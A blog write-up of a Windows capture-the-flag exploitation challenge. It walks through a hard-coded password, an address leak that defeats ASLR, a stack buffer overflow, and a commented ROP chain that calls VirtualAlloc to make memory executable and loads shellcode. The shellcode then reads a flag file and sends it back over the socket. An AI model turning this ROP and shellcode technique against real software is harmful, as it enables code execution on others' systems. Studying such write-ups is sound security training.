This was a windows exploitation challenge and was incredibly easy, overvalued and under solved.
When the binary is first run, or connected to, it asks for a password, it can be found with strings or just by looking at the dissassembly.
.text:00D8105C 414 push offset Str2 ; "GreenhornSecretPassword!!!"
.text:00D81061 418 lea ecx, [ebp+Str1]
.text:00D81067 418 push ecx ; Str1
.text:00D81068 41C call ds:strncmp
.text:00D8106E 41C add esp, 0Ch
.text:00D81071 410 test eax, eax
.text:00D81073 410 jz short loc_
After the password is successfully entered, you're presented with a menu.
Greenhorn Menu:
--------------
(D)ebugging
(S)tatic Analysis
S(h)ellcode
(A)SLR
(N)X/DEP
(V)ulnerability
(Q)uit
Selection:
There are two options on this menu that need to be used to exploit the vulnerability. The first option is the ASLR option. At the end of the text it presents you that describes how ASLR works on windows it contains the exebase-0x00400000 and ebp-08h. The exebase allows us to use ROP chains from the executable, and ebp-08h gives us a stack address we can use for offsets.
The actual vulnerability was a buffer overflow. The Vulnerability page asked for exactly 1024 bytes of data, the length of the buffer, but it read in 2048 bytes of data.
Besides ROP gadgets my ROP chain called two functions in the binary. The first did a call to VirtualAlloc that I could control to set flProtect to PAGE_EXECUTE_READWRITE and the second read in the shellcode to that new allocation.
.text:00D811C0 ; int __cdecl CallsVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flProtect, int *memAddr)
The way I called this function was CallsVirtualAlloc(NULL, 0x2048, PAGE_EXECUTE_READWRITE, stackAddr);
The address of the allocated memory would be stored in that last parameter.
The second function I called was
00D81600 ; int __cdecl ReadBytes(char *destBuffer, int nBytes, char stopChar)
It would read either nBytes or until it encountered stopChar from stdin into the destBuffer. When connecting remotely stdin/out was redirected to the socket.
My ROP chain ended up being
ropstack = padr(0x00D811C0) #Calls virtual alloc
ropstack += padr(0x00D81204) #VirtualAlloc ret addr, add esp 0Ch; mov eax, [ebp+8]; pop ebp; retn;
#That ROP chain effectively doess add esp, 10h;
ropstack += pvar(0x00000000) #lpAddress
ropstack += pvar(0x00002048) #dwSize)
ropstack += pvar(0x00000040) #PAGE_EXE_RW
ropstack += pvar(stack-0x400)#where to store ret addr
ropstack += padr(0x00D81DA6) #pop ecx; pop ebp; retn
#we need to set ECX to a dereferenceable address so that the next ROP chain doesn't crash
ropstack += pvar(stack-0x300)#ecx value
ropstack += pvar(stack+0x0C) #ebp value
ropstack += padr(0x00D811DD) #mov [ecx], eax; mov edx, [ebp+14h]; mov eax, [edx]; pop ebp; retn;
#This ROP gadget lets me get the address of the allocated memory off of the stack
#and into a register
ropstack += pvar(stack+0x54) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
#I used this rop chain twice to overwrite the parameters passed to ReadBytes
#below
ropstack += padr(0x00D811E2) #mov eax, [edx]; pop ebp; retn;
ropstack += pvar(stack+0x58) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
ropstack += padr(0x00D81600) #ReadBytes
ropstack += pvar(stack-0x400) #ReadBytes return address(overwritten)
ropstack += pvar(stack-0x400) #DestBuffer(overwritten)
ropstack += pvar(len(shellcode))
ropstack += pvar(0x000000090) #stop char
Full script here
padr() fixes an address for the ASLR slide and packs it, pvar() is just used to the text lines up nicely.
That will get you shellcode execution, the script has a small amount of shellcode embedded in it which gets the base address of kernel32 and places it into EAX. I wrote my shellcode in C and compiled it with MSVC and then extracted the machinecode into a file called gnarlyshellcode. My shellcode walked kernel32's export directory and got the address of the functions CreateFileA, ReadFile, WriteFile, and GetStdHandle. After which the process to send the flag to stdout/socket was very simple.
HANDLE hKeyFile = CreateFileA("key", GENERIC_READ, 7, NULL, 4, FILE_ATTRIBUTE_NORMAL, NULL);
char keyData[100];
ReadFile(hKeyFile, &keyData, 100, NULL, NULL);
WriteFile(GetStdHandle(-11), keyData, 100, NULL, NULL);
No comments:
Post a Comment